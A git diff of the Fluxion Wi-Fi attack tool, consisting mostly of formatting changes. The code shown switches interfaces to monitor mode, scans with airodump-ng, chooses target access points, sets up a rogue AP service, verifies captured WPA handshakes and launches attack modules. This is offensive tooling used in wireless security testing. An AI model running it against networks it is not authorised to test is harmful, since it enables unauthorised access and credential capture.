if installer_utils_check_update "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion.sh" "FLUXIONVersion=" "FLUXIONRevision=" $FLUXIONVersion $FLUXIONRevision if installer_utils_check_update "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion.sh" "FLUXIONVersion=" "FLUXIONRevision=" $FLUXIONVersion $FLUXIONRevision; then installer_utils_run_update "https://github.com/FluxionNetwork/fluxion/archive/master.zip" "FLUXION-V$FLUXIONVersion.$FLUXIONRevision" "$(dirname "$FLUXIONPath")"
then installer_utils_run_update "https://github.com/FluxionNetwork/fluxion/archive/master.zip" "FLUXION-V$FLUXIONVersion.$FLUXIONRevision" "`dirname "$FLUXIONPath"`"
fi fi
echo echo
@ -269,8 +276,7 @@ if [ ! $FLUXIONDebug ]; then
FLUXIONCLIToolsRequired=("aircrack-ng" "python2:python2.7|python2" "bc" "awk:awk|gawk|mawk" "curl" "dhcpd:isc-dhcp-server|dhcp" "7zr:p7zip" "hostapd" "lighttpd" "iwconfig:wireless-tools" "macchanger" "mdk3" "nmap" "openssl" "php-cgi" "pyrit" "xterm" "rfkill" "unzip" "route:net-tools" "fuser:psmisc" "killall:psmisc") FLUXIONCLIToolsRequired=("aircrack-ng" "python2:python2.7|python2" "bc" "awk:awk|gawk|mawk" "curl" "dhcpd:isc-dhcp-server|dhcp" "7zr:p7zip" "hostapd" "lighttpd" "iwconfig:wireless-tools" "macchanger" "mdk3" "nmap" "openssl" "php-cgi" "pyrit" "xterm" "rfkill" "unzip" "route:net-tools" "fuser:psmisc" "killall:psmisc")
FLUXIONCLIToolsMissing=() FLUXIONCLIToolsMissing=()
while ! installer_utils_check_dependencies FLUXIONCLIToolsRequired[@] while ! installer_utils_check_dependencies FLUXIONCLIToolsRequired[@]; do installer_utils_run_dependencies InstallerUtilsCheckDependencies[@]
do installer_utils_run_dependencies InstallerUtilsCheckDependencies[@]
done done
fi fi
@ -342,7 +348,8 @@ function fluxion_set_language() {
# If a file is missing, fall back to english. # If a file is missing, fall back to english.
if [ $? -eq 1 ]; then if [ $? -eq 1 ]; then
echo -e "\n\n$FLUXIONVLine Falling back to English..."; sleep 5 echo -e "\n\n$FLUXIONVLine Falling back to English..."
sleep 5
FLUXIONLanguage="en" FLUXIONLanguage="en"
return 1 return 1
fi fi
@ -351,7 +358,6 @@ function fluxion_set_language() {
fi fi
} }
#################################### < Interfaces > #################################### #################################### < Interfaces > ####################################
function fluxion_unset_interface() { function fluxion_unset_interface() {
# Unblock interfaces to make them available. # Unblock interfaces to make them available.
@ -371,8 +377,7 @@ function fluxion_unset_interface() {
#iw dev "FX${monitor:2}AP" del &> $FLUXIONOutputDevice #iw dev "FX${monitor:2}AP" del &> $FLUXIONOutputDevice
# Remove monitoring interface after AP interface. # Remove monitoring interface after AP interface.
if [[ "$monitor" = *"mon" ]] if [[ "$monitor" == *"mon" ]]; then airmon-ng stop "$monitor" >$FLUXIONOutputDevice
then airmon-ng stop "$monitor" > $FLUXIONOutputDevice
else interface_set_mode "$monitor" "managed" else interface_set_mode "$monitor" "managed"
fi fi
@ -408,18 +413,20 @@ function fluxion_set_interface() {
local wiSelected=$InterfacePromptIfSelected local wiSelected=$InterfacePromptIfSelected
if [ "$wiSelected" = "$FLUXIONGeneralRepeatOption" ] if [ "$wiSelected" = "$FLUXIONGeneralRepeatOption" ]; then
then fluxion_unset_interface; return 1 fluxion_unset_interface
return 1
fi fi
if [ ! "$FLUXIONWIKillProcesses" -a "$InterfacePromptIfSelectedState" = "[-]" ]; then if [ ! "$FLUXIONWIKillProcesses" -a "$InterfacePromptIfSelectedState" = "[-]" ]; then
echo -e "$FLUXIONVLine $FLUXIONSelectedBusyWIError" echo -e "$FLUXIONVLine $FLUXIONSelectedBusyWIError"
echo -e "$FLUXIONVLine $FLUXIONSelectedBusyWITip" echo -e "$FLUXIONVLine $FLUXIONSelectedBusyWITip"
sleep 7; fluxion_unset_interface; return 1; sleep 7
fluxion_unset_interface
return 1
fi fi
if ! fluxion_run_interface "$wiSelected" if ! fluxion_run_interface "$wiSelected"; then return 1
then return 1
fi fi
WIMonitor="$FluxionRunInterface" WIMonitor="$FluxionRunInterface"
@ -434,21 +441,22 @@ function fluxion_run_interface() {
# Get selected interface's driver details/info-descriptor. # Get selected interface's driver details/info-descriptor.
echo -e "$FLUXIONVLine $FLUXIONGatheringWIInfoNotice" echo -e "$FLUXIONVLine $FLUXIONGatheringWIInfoNotice"
if ! interface_driver "$ifSelected" if ! interface_driver "$ifSelected"; then
then echo -e "$FLUXIONVLine$CRed $FLUXIONUnknownWIDriverError"; sleep 3; return 1 echo -e "$FLUXIONVLine$CRed $FLUXIONUnknownWIDriverError"
sleep 3
return 1
fi fi
local ifDriver="$InterfaceDriver" local ifDriver="$InterfaceDriver"
# I'm not really sure about this conditional here. # I'm not really sure about this conditional here.
# FLUXION 2 had the conditional so I kept it there. # FLUXION 2 had the conditional so I kept it there.
if [ ! "$(echo $ifDriver | egrep 'rt2800|rt73')" ] if [ ! "$(echo $ifDriver | egrep 'rt2800|rt73')" ]; then
then rmmod -f $ifDriver &> $FLUXIONOutputDevice 2>&1 rmmod -f $ifDriver &>$FLUXIONOutputDevice 2>&1
# Wait while interface becomes unavailable. # Wait while interface becomes unavailable.
echo -e "$FLUXIONVLine `io_dynamic_output $FLUXIONUnloadingWIDriverNotice`" echo -e "$FLUXIONVLine $(io_dynamic_output $FLUXIONUnloadingWIDriverNotice)"
while interface_physical "$ifSelected" while interface_physical "$ifSelected"; do sleep 1
do sleep 1
done done
fi fi
fi fi
@ -461,22 +469,19 @@ function fluxion_run_interface() {
# Kill potentially troublesome programs. # Kill potentially troublesome programs.
echo -e "$FLUXIONVLine $FLUXIONKillingConflictingProcessesNotice" echo -e "$FLUXIONVLine $FLUXIONKillingConflictingProcessesNotice"
for program in "${conflictPrograms[@]}" for program in "${conflictPrograms[@]}"; do killall "$program" &>$FLUXIONOutputDevice
do killall "$program" &> $FLUXIONOutputDevice
done done
fi fi
if [ "$FLUXIONWIReloadDriver" ]; then if [ "$FLUXIONWIReloadDriver" ]; then
# I'm not really sure about this conditional here. # I'm not really sure about this conditional here.
# FLUXION 2 had the conditional so I kept it there. # FLUXION 2 had the conditional so I kept it there.
if [ ! "$(echo $ifDriver | egrep 'rt2800|rt73')" ] if [ ! "$(echo $ifDriver | egrep 'rt2800|rt73')" ]; then modprobe "$ifDriver" &>$FLUXIONOutputDevice 2>&1
then modprobe "$ifDriver" &> $FLUXIONOutputDevice 2>&1
fi fi
# Wait while interface becomes available. # Wait while interface becomes available.
echo -e "$FLUXIONVLine `io_dynamic_output $FLUXIONLoadingWIDriverNotice`" echo -e "$FLUXIONVLine $(io_dynamic_output $FLUXIONLoadingWIDriverNotice)"
while ! interface_physical "$ifSelected" while ! interface_physical "$ifSelected"; do sleep 1
do sleep 1
done done
fi fi
@ -487,15 +492,18 @@ function fluxion_run_interface() {
# Notice: Line below could cause issues with different airmon versions. # Notice: Line below could cause issues with different airmon versions.
FluxionRunInterface=$(airmon-ng start $ifSelected | awk -F'\[phy[0-9]+\]|\)' '$0~/monitor .* enabled/{print $3}' 2>/dev/null) FluxionRunInterface=$(airmon-ng start $ifSelected | awk -F'\[phy[0-9]+\]|\)' '$0~/monitor .* enabled/{print $3}' 2>/dev/null)
else else
if interface_set_mode "$ifSelected" "monitor" if interface_set_mode "$ifSelected" "monitor"; then FluxionRunInterface=$ifSelected
then FluxionRunInterface=$ifSelected
else FluxionRunInterface="" else FluxionRunInterface=""
fi fi
fi fi
if [ "$FluxionRunInterface" ] if [ "$FluxionRunInterface" ]; then
then echo -e "$FLUXIONVLine $FLUXIONMonitorModeWIEnabledNotice"; sleep 3 echo -e "$FLUXIONVLine $FLUXIONMonitorModeWIEnabledNotice"
else echo -e "$FLUXIONVLine $FLUXIONMonitorModeWIFailedError"; sleep 3; return 2 sleep 3
else
echo -e "$FLUXIONVLine $FLUXIONMonitorModeWIFailedError"
sleep 3
return 2
fi fi
} }
@ -520,7 +528,10 @@ function fluxion_set_scanner() {
"$FLUXIONScannerChannelOptionAll (5GHz)") fluxion_run_scanner $WIMonitor "" "a" ;; "$FLUXIONScannerChannelOptionAll (5GHz)") fluxion_run_scanner $WIMonitor "" "a" ;;
"$FLUXIONScannerChannelOptionAll (2.4GHz & 5Ghz)") fluxion_run_scanner $WIMonitor "" "abg" ;; "$FLUXIONScannerChannelOptionAll (2.4GHz & 5Ghz)") fluxion_run_scanner $WIMonitor "" "abg" ;;
"$FLUXIONScannerChannelOptionSpecific") fluxion_set_scanner_channel ;; "$FLUXIONScannerChannelOptionSpecific") fluxion_set_scanner_channel ;;
"$FLUXIONGeneralBackOption") fluxion_unset_interface; return 1;; "$FLUXIONGeneralBackOption")
fluxion_unset_interface
return 1
;;
esac esac
fi fi
@ -538,7 +549,8 @@ function fluxion_set_scanner_channel() {
echo echo
echo -ne "$FLUXIONPrompt" echo -ne "$FLUXIONPrompt"
local channels; read channels local channels
read channels
echo echo
@ -548,7 +560,7 @@ function fluxion_set_scanner_channel() {
# Parameters: monitor [ channel(s) [ band(s) ] ] # Parameters: monitor [ channel(s) [ band(s) ] ]
function fluxion_run_scanner() { function fluxion_run_scanner() {
if [ ${#@} -lt 1 ]; then return 1; fi; if [ ${#@} -lt 1 ]; then return 1; fi
echo -e "$FLUXIONVLine $FLUXIONStartingScannerNotice" echo -e "$FLUXIONVLine $FLUXIONStartingScannerNotice"
echo -e "$FLUXIONVLine $FLUXIONStartingScannerTip" echo -e "$FLUXIONVLine $FLUXIONStartingScannerTip"
@ -562,7 +574,9 @@ function fluxion_run_scanner() {
# Begin scanner and output all results to "dump-01.csv." # Begin scanner and output all results to "dump-01.csv."
if ! xterm -title "$FLUXIONScannerHeader" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e "airodump-ng -Mat WPA "${2:+"--channel $2"}" "${3:+"--band $3"}" -w \"$FLUXIONWorkspacePath/dump\" $1" 2>/dev/null; then if ! xterm -title "$FLUXIONScannerHeader" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e "airodump-ng -Mat WPA "${2:+"--channel $2"}" "${3:+"--band $3"}" -w \"$FLUXIONWorkspacePath/dump\" $1" 2>/dev/null; then
echo -e "$FLUXIONVLine$CRed $FLUXIONGeneralXTermFailureError"; sleep 5; return 1 echo -e "$FLUXIONVLine$CRed $FLUXIONGeneralXTermFailureError"
sleep 5
return 1
fi fi
# Fix this below, creating subshells for something like this is somewhat ridiculous. # Fix this below, creating subshells for something like this is somewhat ridiculous.
@ -581,7 +595,10 @@ function fluxion_run_scanner() {
case "$IOQueryChoice" in case "$IOQueryChoice" in
"$FLUXIONGeneralBackOption") return 1 ;; "$FLUXIONGeneralBackOption") return 1 ;;
"$FLUXIONGeneralExitOption") fluxion_exitmode; return 2;; "$FLUXIONGeneralExitOption")
fluxion_exitmode
return 2
;;
esac esac
fi fi
@ -600,11 +617,11 @@ function fluxion_run_scanner() {
sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*" sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"
echo -e "$FLUXIONVLine $FLUXIONScannerDetectedNothingNotice" echo -e "$FLUXIONVLine $FLUXIONScannerDetectedNothingNotice"
sleep 3; return 1 sleep 3
return 1
fi fi
} }
###################################### < Target > ###################################### ###################################### < Target > ######################################
function fluxion_unset_target_ap() { function fluxion_unset_target_ap() {
APTargetSSID="" APTargetSSID=""
@ -653,11 +670,11 @@ function fluxion_set_target_ap() {
local power=${TargetAPCandidatesPower[i]} local power=${TargetAPCandidatesPower[i]}
if [ $power -eq -1 ]; then if [ $power -eq -1 ]; then
# airodump-ng's man page says -1 means unsupported value. # airodump-ng's man page says -1 means unsupported value.
TargetAPCandidatesQuality[i]="??"; TargetAPCandidatesQuality[i]="??"
elif [ $power -le $FLUXIONNoiseFloor ]; then elif [ $power -le $FLUXIONNoiseFloor ]; then
TargetAPCandidatesQuality[i]=0; TargetAPCandidatesQuality[i]=0
elif [ $power -gt $FLUXIONNoiseCeiling ]; then elif [ $power -gt $FLUXIONNoiseCeiling ]; then
TargetAPCandidatesQuality[i]=100; TargetAPCandidatesQuality[i]=100
else else
# Bash doesn't support floating point division, so I gotta work around it... # Bash doesn't support floating point division, so I gotta work around it...
# The function is Q = ((P - F) / (C - F)); Q - quality, P - power, F - floor, C - Ceiling. # The function is Q = ((P - F) / (C - F)); Q - quality, P - power, F - floor, C - Ceiling.
@ -665,7 +682,10 @@ function fluxion_set_target_ap() {
fi fi
done done
local headerTitle=$(format_center_literals "WIFI LIST"; echo -n "$FormatCenterLiterals\n\n") local headerTitle=$(
format_center_literals "WIFI LIST"
echo -n "$FormatCenterLiterals\n\n"
)
format_apply_autosize "$CRed[$CSYel ** $CClr$CRed]$CClr %-*.*s %4s %3s %3s %2s %-8.8s %18s\n" format_apply_autosize "$CRed[$CSYel ** $CClr$CRed]$CClr %-*.*s %4s %3s %3s %2s %-8.8s %18s\n"
local headerFields=$(printf "$FormatApplyAutosize" "ESSID" "QLTY" "PWR" "STA" "CH" "SECURITY" "BSSID") local headerFields=$(printf "$FormatApplyAutosize" "ESSID" "QLTY" "PWR" "STA" "CH" "SECURITY" "BSSID")
@ -716,10 +736,9 @@ function fluxion_show_ap_info() {
echo echo
} }
#################################### < AP Service > #################################### #################################### < AP Service > ####################################
function fluxion_unset_ap_service() { function fluxion_unset_ap_service() {
APRogueService=""; APRogueService=""
} }
function fluxion_set_ap_service() { function fluxion_set_ap_service() {
@ -728,7 +747,7 @@ function fluxion_set_ap_service() {
fluxion_unset_ap_service fluxion_unset_ap_service
if [ "$FLUXIONAuto" ]; then if [ "$FLUXIONAuto" ]; then
APRogueService="hostapd"; APRogueService="hostapd"
else else
fluxion_header fluxion_header
@ -745,8 +764,14 @@ function fluxion_set_ap_service() {
case "$IOQueryChoice" in case "$IOQueryChoice" in
"$FLUXIONAPServiceHostapdOption") APRogueService="hostapd" ;; "$FLUXIONAPServiceHostapdOption") APRogueService="hostapd" ;;
"$FLUXIONAPServiceAirbaseOption") APRogueService="airbase-ng" ;; "$FLUXIONAPServiceAirbaseOption") APRogueService="airbase-ng" ;;
"$FLUXIONGeneralBackOption" ) fluxion_unset_ap_service; return 1;; "$FLUXIONGeneralBackOption")
* ) fluxion_conditional_bail; return 1;; fluxion_unset_ap_service
return 1
;;
*)
fluxion_conditional_bail
return 1
;;
esac esac
fi fi
@ -759,7 +784,7 @@ function fluxion_check_hash() {
if [ ! -f "$APTargetHashPath" -o ! -s "$APTargetHashPath" ]; then if [ ! -f "$APTargetHashPath" -o ! -s "$APTargetHashPath" ]; then
echo -e "$FLUXIONVLine $FLUXIONHashFileDoesNotExistError" echo -e "$FLUXIONVLine $FLUXIONHashFileDoesNotExistError"
sleep 3 sleep 3
return 1; return 1
fi fi
local verifier local verifier
@ -790,8 +815,7 @@ function fluxion_check_hash() {
local hashResult=$? local hashResult=$?
# A value other than 0 means there's an issue with the hash. # A value other than 0 means there's an issue with the hash.
if [ $hashResult -ne 0 ] if [ $hashResult -ne 0 ]; then echo -e "$FLUXIONVLine $FLUXIONHashInvalidError"
then echo -e "$FLUXIONVLine $FLUXIONHashInvalidError"
else echo -e "$FLUXIONVLine $FLUXIONHashValidNotice" else echo -e "$FLUXIONVLine $FLUXIONHashValidNotice"
fi fi
@ -843,7 +867,10 @@ function fluxion_set_hash() {
APTargetHashPath="$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap" APTargetHashPath="$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap"
fluxion_check_hash fluxion_check_hash
# If the user decides to go back, we must unset. # If the user decides to go back, we must unset.
if [ $? -ne 0 ]; then fluxion_unset_hash; return 1; fi if [ $? -ne 0 ]; then
fluxion_unset_hash
return 1
fi
fi fi
fi fi
@ -863,14 +890,23 @@ function fluxion_set_hash() {
echo echo
case "$IOQueryChoice" in case "$IOQueryChoice" in
"$FLUXIONHashSourcePathOption") fluxion_set_hash_path; fluxion_check_hash;; "$FLUXIONHashSourcePathOption")
fluxion_set_hash_path
fluxion_check_hash
;;
"$FLUXIONHashSourceRescanOption") fluxion_set_hash ;; # Rescan checks hash automatically. "$FLUXIONHashSourceRescanOption") fluxion_set_hash ;; # Rescan checks hash automatically.
"$FLUXIONGeneralBackOption" ) fluxion_unset_hash; return 1;; "$FLUXIONGeneralBackOption")
fluxion_unset_hash
return 1
;;
esac esac
# This conditional is required for return values # This conditional is required for return values
# of operation performed in the case statement. # of operation performed in the case statement.
if [ $? -ne 0 ]; then fluxion_unset_hash; return 1; fi if [ $? -ne 0 ]; then
fluxion_unset_hash
return 1
fi
done done
# Copy to workspace for hash-required operations. # Copy to workspace for hash-required operations.
@ -879,8 +915,7 @@ function fluxion_set_hash() {
###################################### < Attack > ###################################### ###################################### < Attack > ######################################
function fluxion_unset_attack() { function fluxion_unset_attack() {
if [ "$FLUXIONAttack" ] if [ "$FLUXIONAttack" ]; then unprep_attack
then unprep_attack
fi fi
FLUXIONAttack="" FLUXIONAttack=""
} }
@ -916,9 +951,8 @@ function fluxion_set_attack() {
local attack local attack
for attack in "${attacks[@]}"; do for attack in "${attacks[@]}"; do
local identifier="`head -n 3 "attacks/$attack/language/$FLUXIONLanguage.sh" | grep -E "^# identifier: " | sed -E 's/# \w+: //'`" local identifier="$(head -n 3 "attacks/$attack/language/$FLUXIONLanguage.sh" | grep -E "^# identifier: " | sed -E 's/# \w+: //')"
if [ "$identifier" ] if [ "$identifier" ]; then identifiers+=("$identifier")
then identifiers+=("$identifier")
else identifiers+=("$attack") else identifiers+=("$attack")
fi fi
done done
@ -956,7 +990,7 @@ function fluxion_run_attack() {
start_attack start_attack
local choices=("$FLUXIONSelectAnotherAttackOption" "$FLUXIONGeneralExitOption") local choices=("$FLUXIONSelectAnotherAttackOption" "$FLUXIONGeneralExitOption")
io_query_choice "`io_dynamic_output $FLUXIONAttackInProgressNotice`" choices[@] io_query_choice "$(io_dynamic_output $FLUXIONAttackInProgressNotice)" choices[@]
echo echo
@ -976,11 +1010,16 @@ fluxion_set_resolution
fluxion_set_language fluxion_set_language
while true; do while true; do
fluxion_set_interface; if [ $? -ne 0 ]; then continue; fi fluxion_set_interface
fluxion_set_scanner; if [ $? -ne 0 ]; then continue; fi if [ $? -ne 0 ]; then continue; fi
fluxion_set_target_ap; if [ $? -ne 0 ]; then continue; fi fluxion_set_scanner
fluxion_set_attack; if [ $? -ne 0 ]; then continue; fi if [ $? -ne 0 ]; then continue; fi
fluxion_run_attack; if [ $? -ne 0 ]; then continue; fi fluxion_set_target_ap
if [ $? -ne 0 ]; then continue; fi
fluxion_set_attack
if [ $? -ne 0 ]; then continue; fi
fluxion_run_attack
if [ $? -ne 0 ]; then continue; fi
done done
# FLUXSCRIPT END # FLUXSCRIPT END

View File

@ -21,7 +21,7 @@ function array_contains() {
# funct params: $1 = "array[@]" $2 = "text" # funct params: $1 = "array[@]" $2 = "text"
# indirect exp: ${!1} => ${array[@]} (replaced!) # indirect exp: ${!1} => ${array[@]} (replaced!)
for __array_contains__item in "${!1}"; do for __array_contains__item in "${!1}"; do
[[ "$__array_contains__item" == "$2" ]] && return 0; [[ "$__array_contains__item" == "$2" ]] && return 0
done done
return 1 # Not found return 1 # Not found

View File

@ -37,16 +37,15 @@ function format_list_specifiers() {
function format_calculate_dynamics_count() { function format_calculate_dynamics_count() {
local __format_calculate_dynamics_count__specifiers=("${!2}") local __format_calculate_dynamics_count__specifiers=("${!2}")
if [ ! "$2" ] if [ ! "$2" ]; then
then format_list_specifiers "$1" format_list_specifiers "$1"
__format_calculate_dynamics_count__specifiers=("${FormatListSpecifiers[@]}") __format_calculate_dynamics_count__specifiers=("${FormatListSpecifiers[@]}")
fi fi
FormatCalculateDynamicsCount=0 FormatCalculateDynamicsCount=0
local __format_calculate_dynamics_count__specifier local __format_calculate_dynamics_count__specifier
for __format_calculate_dynamics_count__specifier in "${__format_calculate_dynamics_count__specifiers[@]}"; do for __format_calculate_dynamics_count__specifier in "${__format_calculate_dynamics_count__specifiers[@]}"; do
if echo "$__format_calculate_dynamics_count__specifier" | grep '\*' >/dev/null 2>&1 if echo "$__format_calculate_dynamics_count__specifier" | grep '\*' >/dev/null 2>&1; then ((FormatCalculateDynamicsCount++))
then ((FormatCalculateDynamicsCount++))
fi fi
done done
} }
@ -69,13 +68,13 @@ function format_calculate_statics_length() {
# Literals are all characters in format printed literally. # Literals are all characters in format printed literally.
# Parameters: $1 - format [$2 - processed format [$3 - specifier array]] # Parameters: $1 - format [$2 - processed format [$3 - specifier array]]
function format_calculate_literals_length() { function format_calculate_literals_length() {
local __format_calculate_literals_length__normalizedFormat="`echo "$2" | sed -r 's/%%|\*\*/X/g'`" local __format_calculate_literals_length__normalizedFormat="$(echo "$2" | sed -r 's/%%|\*\*/X/g')"
local __format_calculate_literals_length__specifiers=("${!3}") local __format_calculate_literals_length__specifiers=("${!3}")
if [ ! "$2" ]; then if [ ! "$2" ]; then
echo "format_calculate_literals_length missing \$2" echo "format_calculate_literals_length missing \$2"
format_strip_invisibles "$1" format_strip_invisibles "$1"
__format_calculate_literals_length__normalizedFormat="`echo "$FormatStripInvisibles" | sed -r 's/%%|\*\*/X/g'`" __format_calculate_literals_length__normalizedFormat="$(echo "$FormatStripInvisibles" | sed -r 's/%%|\*\*/X/g')"
fi fi
if [ ! "$3" ]; then if [ ! "$3" ]; then
@ -146,21 +145,18 @@ function format_calculate_autosize_length() {
fi fi
if [ ! "$3" ]; then if [ ! "$3" ]; then
if [ "$2" ] if [ "$2" ]; then format_list_specifiers "$1"
then format_list_specifiers "$1"
fi fi
format_calculate_dynamics_count X FormatListSpecifiers[@] format_calculate_dynamics_count X FormatListSpecifiers[@]
__format_calculate_autosize_length__dynamicsCount=$FormatCalculateDynamicsCount __format_calculate_autosize_length__dynamicsCount=$FormatCalculateDynamicsCount
fi fi
if [ $__format_calculate_autosize_length__dynamicsCount -ne 0 -a \ if [ $__format_calculate_autosize_length__dynamicsCount -ne 0 -a \
$__format_calculate_autosize_length__dynamicsLength -ge 0 ] $__format_calculate_autosize_length__dynamicsLength -ge 0 ]; then FormatCalculateAutosizeLength=$((__format_calculate_autosize_length__dynamicsLength / __format_calculate_autosize_length__dynamicsCount))
then FormatCalculateAutosizeLength=$(( __format_calculate_autosize_length__dynamicsLength / __format_calculate_autosize_length__dynamicsCount ))
else FormatCalculateAutosizeLength=0 else FormatCalculateAutosizeLength=0
fi fi
} }
# This function replaces dynamics' asterisks with their length, in format. # This function replaces dynamics' asterisks with their length, in format.
# Parameters: $1 - format [$2 - dynamics length [$3 - dynamics count]] # Parameters: $1 - format [$2 - dynamics length [$3 - dynamics count]]
# Warning: Strings containing '\n' result in undefined behavior (not supported). # Warning: Strings containing '\n' result in undefined behavior (not supported).
@ -193,5 +189,5 @@ function format_center_dynamic() {
format_calculate_dynamics_length X $FormatCalculateLength format_calculate_dynamics_length X $FormatCalculateLength
format_apply_autosize "%*s%${FormatCalculateLength}s%*s" $FormatCalculateDynamicsLength 2 format_apply_autosize "%*s%${FormatCalculateLength}s%*s" $FormatCalculateDynamicsLength 2
# Temporary, I'll find a better solution later (too tired). # Temporary, I'll find a better solution later (too tired).
FormatCenterDynamic=$(printf "`echo "$FormatApplyAutosize" | sed -r 's/%[0-9]+s/%s/2'`" "" "$1" "") FormatCenterDynamic=$(printf "$(echo "$FormatApplyAutosize" | sed -r 's/%[0-9]+s/%s/2')" "" "$1" "")
} }

View File

@ -31,7 +31,8 @@ function hash_check_handshake() {
hashData=$(echo "${analysis[@]}" | awk "\$0~/#$hashID: HMAC_SHA[0-9]+_AES/{ print \$0 }") hashData=$(echo "${analysis[@]}" | awk "\$0~/#$hashID: HMAC_SHA[0-9]+_AES/{ print \$0 }")
else else
echo "No valid hash meta was found for \"$handshakeAPSSID\"" >$HashOutputDevice echo "No valid hash meta was found for \"$handshakeAPSSID\"" >$HashOutputDevice
fi;; fi
;;
"aircrack-ng") "aircrack-ng")
readarray analysis < <(aircrack-ng "$handshakePath" 2>$HashOutputDevice) readarray analysis < <(aircrack-ng "$handshakePath" 2>$HashOutputDevice)
if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then
@ -39,8 +40,12 @@ function hash_check_handshake() {
return 1 return 1
fi fi
hashData=$(echo "${analysis[@]}" | grep -E "${handshakeAPMAC^^}\s+" | grep -F "$handshakeAPSSID");; hashData=$(echo "${analysis[@]}" | grep -E "${handshakeAPMAC^^}\s+" | grep -F "$handshakeAPSSID")
*) echo "Invalid verifier, quitting!"; return 1;; ;;
*)
echo "Invalid verifier, quitting!"
return 1
;;
esac esac
if [ -z "$hashData" ]; then if [ -z "$hashData" ]; then

View File

@ -54,9 +54,7 @@ function io_output_format_fields() {
# Load locally by indirect expansion, ${! ... }, # Load locally by indirect expansion, ${! ... },
# and mangle the variable number argument arrays. # and mangle the variable number argument arrays.
local __io_output_format_fields__i local __io_output_format_fields__i
for ((__io_output_format_fields__i = 3; \ for ((__io_output_format_fields__i = 3; __io_output_format_fields__i <= __io_output_format_fields__argument_count; __io_output_format_fields__i++)); do
__io_output_format_fields__i <= __io_output_format_fields__argument_count; \
__io_output_format_fields__i++)); do
eval "local __io_output_format_fields__field$__io_output_format_fields__i=(\"\${!$__io_output_format_fields__i}\")" eval "local __io_output_format_fields__field$__io_output_format_fields__i=(\"\${!$__io_output_format_fields__i}\")"
done done
@ -64,11 +62,9 @@ function io_output_format_fields() {
# Notice at least the first array must be passed. # Notice at least the first array must be passed.
local __io_output_format_fields__record_count=${#__io_output_format_fields__field3[@]} local __io_output_format_fields__record_count=${#__io_output_format_fields__field3[@]}
for ((__io_output_format_fields__i = 0; \ for ((__io_output_format_fields__i = 0; __io_output_format_fields__i < __io_output_format_fields__record_count; __io_output_format_fields__i++)); do
__io_output_format_fields__i < __io_output_format_fields__record_count; \ local __io_output_format_fields__values="\"\${__io_output_format_fields__field"$(
__io_output_format_fields__i++)); do seq -s "[$__io_output_format_fields__i]}\" \"\${__io_output_format_fields__field" 3 $__io_output_format_fields__argument_count
local __io_output_format_fields__values="\"\${__io_output_format_fields__field"$( \
seq -s "[$__io_output_format_fields__i]}\" \"\${__io_output_format_fields__field" 3 $__io_output_format_fields__argument_count \
)"[$__io_output_format_fields__i]}\"" )"[$__io_output_format_fields__i]}\""
eval "printf \"$2\" $__io_output_format_fields__values > $1" eval "printf \"$2\" $__io_output_format_fields__values > $1"
done done
@ -88,9 +84,7 @@ function io_query_format_fields() {
# Load locally by indirect expansion, ${! ... }, # Load locally by indirect expansion, ${! ... },
# and mangle the variable number argument arrays. # and mangle the variable number argument arrays.
local __io_query_format_fields__i local __io_query_format_fields__i
for ((__io_query_format_fields__i = 3; \ for ((__io_query_format_fields__i = 3; __io_query_format_fields__i <= __io_query_format_fields__argument_count; __io_query_format_fields__i++)); do
__io_query_format_fields__i <= __io_query_format_fields__argument_count; \
__io_query_format_fields__i++)); do
eval "local __io_query_format_fields__f$__io_query_format_fields__i=(\"\${!$__io_query_format_fields__i}\")" eval "local __io_query_format_fields__f$__io_query_format_fields__i=(\"\${!$__io_query_format_fields__i}\")"
done done
@ -98,7 +92,7 @@ function io_query_format_fields() {
local __io_query_format_fields__indexes=($(seq $__io_query_format_fields__record_count)) local __io_query_format_fields__indexes=($(seq $__io_query_format_fields__record_count))
if [ ! -z "$1" ]; then if [ ! -z "$1" ]; then
if [ "`type -t $(echo -e "$IOUtilsHeader" | grep -vE '\s')`" = "function" ]; then $IOUtilsHeader; if [ "$(type -t $(echo -e "$IOUtilsHeader" | grep -vE '\s'))" = "function" ]; then $IOUtilsHeader
else echo -e "$IOUtilsHeader"; fi else echo -e "$IOUtilsHeader"; fi
echo -e "$__io_query_format_fields__query" echo -e "$__io_query_format_fields__query"
@ -112,9 +106,7 @@ function io_query_format_fields() {
io_input_choice __io_query_format_fields__indexes[@] io_input_choice __io_query_format_fields__indexes[@]
IOQueryFormatFields=() IOQueryFormatFields=()
for ((__io_query_format_fields__i = 3; \ for ((__io_query_format_fields__i = 3; __io_query_format_fields__i <= __io_query_format_fields__argument_count; __io_query_format_fields__i++)); do
__io_query_format_fields__i <= __io_query_format_fields__argument_count; \
__io_query_format_fields__i++)); do
eval "IOQueryFormatFields[${#IOQueryFormatFields[@]}]=\${__io_query_format_fields__f$__io_query_format_fields__i[IOInputChoice - 1]}" eval "IOQueryFormatFields[${#IOQueryFormatFields[@]}]=\${__io_query_format_fields__f$__io_query_format_fields__i[IOInputChoice - 1]}"
done done
} }
@ -143,7 +135,7 @@ function io_query_file() {
mapfile __io_query_file__options <$2 mapfile __io_query_file__options <$2
# Strip newline characters from array elements # Strip newline characters from array elements
__io_query_file__options=("${__io_query_file__options[@]/$'\n'}") __io_query_file__options=("${__io_query_file__options[@]/$'\n'/}")
io_query_choice "$1" __io_query_file__options[@] io_query_choice "$1" __io_query_file__options[@]

View File

@ -7,26 +7,24 @@
# This is all thanks for the airmon-ng authors, thanks guys. # This is all thanks for the airmon-ng authors, thanks guys.
InterfaceUtilsOutputDevice="/dev/stdout" InterfaceUtilsOutputDevice="/dev/stdout"
if [ -d /sys/bus/usb ] # && hash lsusb if [ -d /sys/bus/usb ] # && hash lsusb;
then InterfaceUSBBus=1 then InterfaceUSBBus=1
fi fi
if [ -d /sys/bus/pci ] || [ -d /sys/bus/pci_express ] || [ -d /proc/bus/pci ] # && hash lspci if [ -d /sys/bus/pci ] || [ -d /sys/bus/pci_express ] || [ -d /proc/bus/pci ] # && hash lspci;
then InterfacePCIBus=1 then InterfacePCIBus=1
fi fi
